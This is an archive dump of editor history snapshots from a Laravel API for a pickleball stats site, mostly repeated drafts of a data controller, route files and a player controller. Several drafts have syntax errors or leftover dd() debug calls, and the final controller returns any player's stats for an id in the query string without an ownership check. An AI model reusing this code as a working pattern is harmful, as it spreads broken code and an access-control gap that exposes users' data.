App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { dd($request->query->get('id');); if (!empty($request->query)) { $data = PlayerState::where('player_id', $request->query)->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZ��t�Y Y History/-3545523c/TCbY.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { dd($request->query->id); if (!empty($request->query)) { $data = PlayerState::where('player_id', $request->query)->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZ�iX X History/-3545523c/GZYp.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { return $request->query; if (!empty($request->query)) { $data = PlayerState::where('player_id', $request->query)->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZ��t�Y Y History/-3545523c/dJts.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { dd($request->query->id); if (!empty($request->query)) { $data = PlayerState::where('player_id', $request->query)->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZ�[T T History/-3545523c/TJpJ.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { if (!empty($request->query->get('query'))) { $data = PlayerState::where('player_id', $request->query->get('query'))->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZ�` ` History/-3545523c/jx6h.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { dd($request->query->get('id')); if (!empty($request->query)) { $data = PlayerState::where('player_id', $request->query)->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZ�qB#S S History/-3545523c/KOWN.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { dd$request->query; if (!empty($request->query)) { $data = PlayerState::where('player_id', $request->query)->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZ��cT T History/-3545523c/R8kE.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { if (!empty($request->query->get('id'))) { $data = PlayerState::where('player_id', (int) $request->query->get('id'))->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZ*�RkU U History/-3545523c/8IUT.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { dd($request->query); if (!empty($request->query)) { $data = PlayerState::where('player_id', $request->query)->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZg���R R History/-3545523c/KEqH.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { dd($request->id); if (!empty($request->query)) { $data = PlayerState::where('player_id', $request->query)->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZG�D� � History/-3545523c/zk2n.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { if (!empty($request->query->get('id'))) { $data = PlayerState::where('player_id', $request->query->get('id'))->get(); return response()->json(['status'=>true, 'data'=>$data]); } else { $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZ2�� History/39db9c1a/7bgc.phpnu �Iw�� <?php use App\Http\Middleware\CheckMiddleware; use Illuminate\Support\Facades\Route; // ADMIN Route::group(['middleware' => 'auth:admin_api'], function () { Route::group(['prefix' => 'admin'], function () { Route::post('/calculate/json_player_stats', [App\Http\Controllers\PlayerStateJsonController::class, 'jsonPlayerState']); Route::post('/logout', [App\Http\Controllers\AdminController::class, 'logout']); // USER Route::resource('/users', 'App\Http\Controllers\UserController'); Route::post('/calculate_player_stats', [App\Http\Controllers\JsonController::class, 'json']); // LOGS Route::resource('/logs', 'App\Http\Controllers\LogController'); Route::get('/json/player/{user}', [App\Http\Controllers\LogController::class, 'getJson']); Route::get('/json/{log}/player/{player}', [App\Http\Controllers\PlayerController::class, 'playerState']); }); }); // USER Route::group(['middleware' => 'auth:user_api'], function () { Route::group(['prefix' => 'user'], function () { Route::post('/calculate/json_player_stats', [App\Http\Controllers\PlayerStateJsonController::class, 'jsonPlayerState']); // PROFILE MANAGEMENT Route::post('/calculate_player_stats', [App\Http\Controllers\JsonController::class, 'json']); Route::put('/users/{user}', [App\Http\Controllers\UserController::class, 'update']); Route::post('/logout', [App\Http\Controllers\UserController::class, 'logout']); Route::resource('/players', 'App\Http\Controllers\PlayerController'); Route::resource('/logs', 'App\Http\Controllers\LogController'); // Route::get('/json/{log}/player', [App\Http\Controllers\PlayerController::class, 'playerState']); Route::get('/data', [App\Http\Controllers\CalculatedDataController::class, 'index']); // LOGS Route::get('/json/player/{user}', [App\Http\Controllers\LogController::class, 'getJson']); Route::get('/json/player/{user}', [App\Http\Controllers\LogController::class, 'getJson']); Route::get('/json/{log}/player/{player}', [App\Http\Controllers\PlayerController::class, 'playerState']); }); }); // UNIVERSAL ROUTES Route::middleware(['throttle:300,2'])->group(function () { Route::get('/latest/logs', [App\Http\Controllers\LogController::class, 'latestJson']); Route::post('/users', [App\Http\Controllers\UserController::class, 'store']); Route::post('/login', [App\Http\Controllers\UserController::class, 'login']); Route::post('/forget', [App\Http\Controllers\UserController::class, 'forget']); Route::post('/reset_password', [App\Http\Controllers\UserController::class, 'reset_password']); // USER SEARCH Route::get('/users', [App\Http\Controllers\UserController::class, 'index']); }); PK �6fZ��� � History/39db9c1a/qA1W.phpnu �Iw�� <?php use App\Http\Middleware\CheckMiddleware; use Illuminate\Support\Facades\Route; // ADMIN Route::group(['middleware' => 'auth:admin_api'], function () { Route::group(['prefix' => 'admin'], function () { Route::post('/calculate/json_player_stats', [App\Http\Controllers\PlayerStateJsonController::class, 'jsonPlayerState']); Route::post('/logout', [App\Http\Controllers\AdminController::class, 'logout']); // USER Route::resource('/users', 'App\Http\Controllers\UserController'); Route::post('/calculate_player_stats', [App\Http\Controllers\JsonController::class, 'json']); // LOGS Route::resource('/logs', 'App\Http\Controllers\LogController'); Route::get('/json/player/{user}', [App\Http\Controllers\LogController::class, 'getJson']); Route::get('/json/{log}/player/{player}', [App\Http\Controllers\PlayerController::class, 'playerState']); }); }); // USER Route::group(['middleware' => 'auth:user_api'], function () { Route::group(['prefix' => 'user'], function () { Route::post('/calculate/json_player_stats', [App\Http\Controllers\PlayerStateJsonController::class, 'jsonPlayerState']); // PROFILE MANAGEMENT Route::post('/calculate_player_stats', [App\Http\Controllers\JsonController::class, 'json']); Route::put('/users/{user}', [App\Http\Controllers\UserController::class, 'update']); Route::post('/logout', [App\Http\Controllers\UserController::class, 'logout']); Route::resource('/players', 'App\Http\Controllers\PlayerController'); Route::resource('/logs', 'App\Http\Controllers\LogController'); // Route::get('/json/{log}/player', [App\Http\Controllers\PlayerController::class, 'playerState']); Route::get('/data', [App\Http\Controllers\CalculatedDataController::class, 'index']); // LOGS Route::get('/json/player/{user}', [App\Http\Controllers\LogController::class, 'getJson']); Route::get('/json/{log}/player/{player}', [App\Http\Controllers\PlayerController::class, 'playerState']); }); }); // UNIVERSAL ROUTES Route::middleware(['throttle:300,2'])->group(function () { Route::get('/latest/logs', [App\Http\Controllers\LogController::class, 'latestJson']); Route::post('/users', [App\Http\Controllers\UserController::class, 'store']); Route::post('/login', [App\Http\Controllers\UserController::class, 'login']); Route::post('/forget', [App\Http\Controllers\UserController::class, 'forget']); Route::post('/reset_password', [App\Http\Controllers\UserController::class, 'reset_password']); // USER SEARCH Route::get('/users', [App\Http\Controllers\UserController::class, 'index']); }); PK �6fZ^ History/39db9c1a/gssy.phpnu �Iw�� <?php use App\Http\Middleware\CheckMiddleware; use Illuminate\Support\Facades\Route; // ADMIN Route::group(['middleware' => 'auth:admin_api'], function () { Route::group(['prefix' => 'admin'], function () { Route::post('/calculate/json_player_stats', [App\Http\Controllers\PlayerStateJsonController::class, 'jsonPlayerState']); Route::post('/logout', [App\Http\Controllers\AdminController::class, 'logout']); // USER Route::resource('/users', 'App\Http\Controllers\UserController'); Route::post('/calculate_player_stats', [App\Http\Controllers\JsonController::class, 'json']); // LOGS Route::resource('/logs', 'App\Http\Controllers\LogController'); Route::get('/json/player/{user}', [App\Http\Controllers\LogController::class, 'getJson']); Route::get('/json/{log}/player/{player}', [App\Http\Controllers\PlayerController::class, 'playerState']); }); }); // USER Route::group(['middleware' => 'auth:user_api'], function () { Route::group(['prefix' => 'user'], function () { Route::post('/calculate/json_player_stats', [App\Http\Controllers\PlayerStateJsonController::class, 'jsonPlayerState']); // PROFILE MANAGEMENT Route::post('/calculate_player_stats', [App\Http\Controllers\JsonController::class, 'json']); Route::put('/users/{user}', [App\Http\Controllers\UserController::class, 'update']); Route::post('/logout', [App\Http\Controllers\UserController::class, 'logout']); Route::resource('/players', 'App\Http\Controllers\PlayerController'); Route::resource('/logs', 'App\Http\Controllers\LogController'); // Route::get('/json/{log}/player', [App\Http\Controllers\PlayerController::class, 'playerState']); Route::get('/data', [App\Http\Controllers\CalculatedDataController::class, 'index']); // LOGS Route::get('/logs', [App\Http\Controllers\LogController::class, 'getJson']); Route::get('/json/player/{user}', [App\Http\Controllers\LogController::class, 'getJson']); Route::get('/json/{log}/player/{player}', [App\Http\Controllers\PlayerController::class, 'playerState']); }); }); // UNIVERSAL ROUTES Route::middleware(['throttle:300,2'])->group(function () { Route::get('/latest/logs', [App\Http\Controllers\LogController::class, 'latestJson']); Route::post('/users', [App\Http\Controllers\UserController::class, 'store']); Route::post('/login', [App\Http\Controllers\UserController::class, 'login']); Route::post('/forget', [App\Http\Controllers\UserController::class, 'forget']); Route::post('/reset_password', [App\Http\Controllers\UserController::class, 'reset_password']); // USER SEARCH Route::get('/users', [App\Http\Controllers\UserController::class, 'index']); }); PK �6fZ"�v� � History/39db9c1a/entries.jsonnu �Iw�� {"version":1,"resource":"vscode-remote://ssh-remote%2Bportfolio/home/portfolio/public_html/api.champpickelball.mycompanyportfolio.com/routes/api.php","entries":[{"id":"qA1W.php","timestamp":1734532197640},{"id":"gssy.php","timestamp":1734537129693},{"id":"7bgc.php","source":"undoRedo.source","timestamp":1734537134705},{"id":"drmE.php","timestamp":1734537137851},{"id":"ThIO.php","timestamp":1734537152183}]}PK �6fZ��� � History/39db9c1a/ThIO.phpnu �Iw�� <?php use App\Http\Middleware\CheckMiddleware; use Illuminate\Support\Facades\Route; // ADMIN Route::group(['middleware' => 'auth:admin_api'], function () { Route::group(['prefix' => 'admin'], function () { Route::post('/calculate/json_player_stats', [App\Http\Controllers\PlayerStateJsonController::class, 'jsonPlayerState']); Route::post('/logout', [App\Http\Controllers\AdminController::class, 'logout']); // USER Route::resource('/users', 'App\Http\Controllers\UserController'); Route::post('/calculate_player_stats', [App\Http\Controllers\JsonController::class, 'json']); // LOGS Route::resource('/logs', 'App\Http\Controllers\LogController'); Route::get('/json/player/{user}', [App\Http\Controllers\LogController::class, 'getJson']); Route::get('/json/{log}/player/{player}', [App\Http\Controllers\PlayerController::class, 'playerState']); }); }); // USER Route::group(['middleware' => 'auth:user_api'], function () { Route::group(['prefix' => 'user'], function () { Route::post('/calculate/json_player_stats', [App\Http\Controllers\PlayerStateJsonController::class, 'jsonPlayerState']); // PROFILE MANAGEMENT Route::post('/calculate_player_stats', [App\Http\Controllers\JsonController::class, 'json']); Route::put('/users/{user}', [App\Http\Controllers\UserController::class, 'update']); Route::post('/logout', [App\Http\Controllers\UserController::class, 'logout']); Route::resource('/players', 'App\Http\Controllers\PlayerController'); Route::resource('/logs', 'App\Http\Controllers\LogController'); // Route::get('/json/{log}/player', [App\Http\Controllers\PlayerController::class, 'playerState']); Route::get('/data', [App\Http\Controllers\CalculatedDataController::class, 'index']); // LOGS Route::get('/json/player/{user}', [App\Http\Controllers\LogController::class, 'getJson']); Route::get('/json/{log}/player/{player}', [App\Http\Controllers\PlayerController::class, 'playerState']); }); }); // UNIVERSAL ROUTES Route::middleware(['throttle:300,2'])->group(function () { Route::get('/latest/logs', [App\Http\Controllers\LogController::class, 'latestJson']); Route::post('/users', [App\Http\Controllers\UserController::class, 'store']); Route::post('/login', [App\Http\Controllers\UserController::class, 'login']); Route::post('/forget', [App\Http\Controllers\UserController::class, 'forget']); Route::post('/reset_password', [App\Http\Controllers\UserController::class, 'reset_password']); // USER SEARCH Route::get('/users', [App\Http\Controllers\UserController::class, 'index']); }); PK �6fZ^ History/39db9c1a/drmE.phpnu �Iw�� <?php use App\Http\Middleware\CheckMiddleware; use Illuminate\Support\Facades\Route; // ADMIN Route::group(['middleware' => 'auth:admin_api'], function () { Route::group(['prefix' => 'admin'], function () { Route::post('/calculate/json_player_stats', [App\Http\Controllers\PlayerStateJsonController::class, 'jsonPlayerState']); Route::post('/logout', [App\Http\Controllers\AdminController::class, 'logout']); // USER Route::resource('/users', 'App\Http\Controllers\UserController'); Route::post('/calculate_player_stats', [App\Http\Controllers\JsonController::class, 'json']); // LOGS Route::resource('/logs', 'App\Http\Controllers\LogController'); Route::get('/json/player/{user}', [App\Http\Controllers\LogController::class, 'getJson']); Route::get('/json/{log}/player/{player}', [App\Http\Controllers\PlayerController::class, 'playerState']); }); }); // USER Route::group(['middleware' => 'auth:user_api'], function () { Route::group(['prefix' => 'user'], function () { Route::post('/calculate/json_player_stats', [App\Http\Controllers\PlayerStateJsonController::class, 'jsonPlayerState']); // PROFILE MANAGEMENT Route::post('/calculate_player_stats', [App\Http\Controllers\JsonController::class, 'json']); Route::put('/users/{user}', [App\Http\Controllers\UserController::class, 'update']); Route::post('/logout', [App\Http\Controllers\UserController::class, 'logout']); Route::resource('/players', 'App\Http\Controllers\PlayerController'); Route::resource('/logs', 'App\Http\Controllers\LogController'); // Route::get('/json/{log}/player', [App\Http\Controllers\PlayerController::class, 'playerState']); Route::get('/data', [App\Http\Controllers\CalculatedDataController::class, 'index']); // LOGS Route::get('/logs', [App\Http\Controllers\LogController::class, 'getJson']); Route::get('/json/player/{user}', [App\Http\Controllers\LogController::class, 'getJson']); Route::get('/json/{log}/player/{player}', [App\Http\Controllers\PlayerController::class, 'playerState']); }); }); // UNIVERSAL ROUTES Route::middleware(['throttle:300,2'])->group(function () { Route::get('/latest/logs', [App\Http\Controllers\LogController::class, 'latestJson']); Route::post('/users', [App\Http\Controllers\UserController::class, 'store']); Route::post('/login', [App\Http\Controllers\UserController::class, 'login']); Route::post('/forget', [App\Http\Controllers\UserController::class, 'forget']); Route::post('/reset_password', [App\Http\Controllers\UserController::class, 'reset_password']); // USER SEARCH Route::get('/users', [App\Http\Controllers\UserController::class, 'index']); }); PK �6fZ�/@�� � History/3546d05d/IFEC.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\GetStates; use App\Http\Requests\StorePlayerRequest; use App\Http\Requests\UpdatePlayerRequest; use App\Models\CalculatedData; use App\Models\Log; use App\Models\LogPlayer; use App\Models\Player; use App\Models\PlayerState; use App\Traits\ImageUploadTrait; use Illuminate\Support\Facades\Validator; use COM; use Illuminate\Http\Request; class PlayerController extends Controller { use ImageUploadTrait; /** * Display a listing of the resource. */ public function index(Request $request) { $firstName = $request->input('fname'); $middleName = $request->input('middle_name'); $lastName = $request->input('lname'); $userId = $request->input('user_id'); $players = Player::query(); if ($firstName) { $players->where('fname', 'like', '%' . $firstName . '%'); } if ($middleName) { $players->where('middle_name', 'like', '%' . $middleName . '%'); } if ($lastName) { $players->where('lname', 'like', '%' . $lastName . '%'); } if ($userId) { $players->Where('id','=',$userId); } $players = $players->orderBy('id', 'DESC')->get(); return response()->json($players); } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StorePlayerRequest $request) { $validatedRequest = $request->validated(); try { if (isset($validatedRequest['image']) && !empty($file = $validatedRequest['image'])) { $filePath = $this->uploadImage($file, 'uploads/players/images'); $validatedRequest['image'] = $filePath; } $player = Player::create($validatedRequest); return response()->json(['status'=>true, 'response'=>'Record Created', 'data'=>$player]); } catch (\Throwable $th) { return response()->json(['status'=>false, 'error'=>$th->getMessage()]); } } /** * Display the specified resource. */ public function show($log, $player) { $playerLog = LogPlayer::with('player.playerState','loggable')->where(['player_id'=>$player,'log_id'=>$log])->get(); return response()->json(['status'=>true, 'message'=>'Log Retrieve Successfully', 'data'=>$playerLog]); } /** * Show the form for editing the specified resource. */ public function edit(Player $player) { // } /** * Update the specified resource in storage. */ public function update(UpdatePlayerRequest $request, Player $player) { $validatedRequest = $request->validated(); try { if (isset($validatedRequest['image']) && !empty($file = $validatedRequest['image'])) { if (!empty($player->image)) { $this->deleteImage($player->image); $player->update(['image' => (NULL)]); } $filePath = $this->uploadImage($file, 'uploads/players/images'); $validatedRequest['image'] = $filePath; } $player = $player->update($validatedRequest); return response()->json(['status'=>true, 'response'=>'Record Updated', 'data'=>$player]); } catch (\Throwable $th) { return response()->json(['status'=>false, 'error'=>$th->getMessage()]); } } /** * Remove the specified resource from storage. */ public function destroy(Player $player) { if (!empty($player->image)) { $this->deleteImage($player->image); $player->update(['image' => (NULL)]); } $delete = $player->delete(); return response(['status'=>$delete, 'response'=>$delete]); } public function playerState($log,$player_id) { $playerLog = PlayerState:: where(['log_id'=> $log, 'player_id'=>$player_id]) ->get(); return response()->json(['status'=>true, 'message'=>'Retrieve Successfully', 'data'=>$playerLog]); } } PK �6fZ�r�� � History/3546d05d/entries.jsonnu �Iw�� 